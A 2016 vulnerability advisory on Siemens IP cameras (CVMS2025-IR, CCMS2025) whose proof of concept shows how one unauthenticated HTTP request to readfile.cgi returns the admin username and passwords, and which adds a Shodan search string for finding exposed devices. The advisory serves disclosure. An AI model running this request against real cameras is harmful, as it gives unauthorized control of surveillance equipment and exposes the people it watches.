1. Advisory Information
========================================
Title                   : SIEMENS IP-Camera Unauthenticated Remote Credentials Disclosure
Vendor Homepage         : https://www.siemens.com
Remotely Exploitable  : Yes
Versions Affected       : x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
Tested on Camera types  : CVMS2025-IR, CCMS2025 (Camera type)
Reference for CCMS2025  : https://w5.siemens.com/web/cz/cz/corporate/portal/home/produkty_a_sluzby/IBT/pozarni_a_bezpecnostni_systemy/cctv/ip_kamery/Documents/023_CCIS1425_A6V10333969_en.doc.pdf
Vulnerability           : Username / Password Disclosure (Critical/High)
Shodan Dork             : title:"SIEMENS IP-Camera"
Date                    : 16/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
SIEMENS IP-Camera (CVMS2025-IR + CCMS2025) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
========================================
Simply go to the following url:
https://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=aadmina; var Adm_Pass2=aadmina; var Language=aena; var Logoff_Time="0"; 


Request:
----------
GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1
Host: host:port
Connection: close


Response:
----------
HTTP/1.0 200 OK
Connection: close
Content-type: text/html

var Adm_ID="admin";
var Adm_Pass1=aadmina;
var Adm_Pass2=aadmina;
var Language=aena;
var Logoff_Time="0";



Login @ https://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.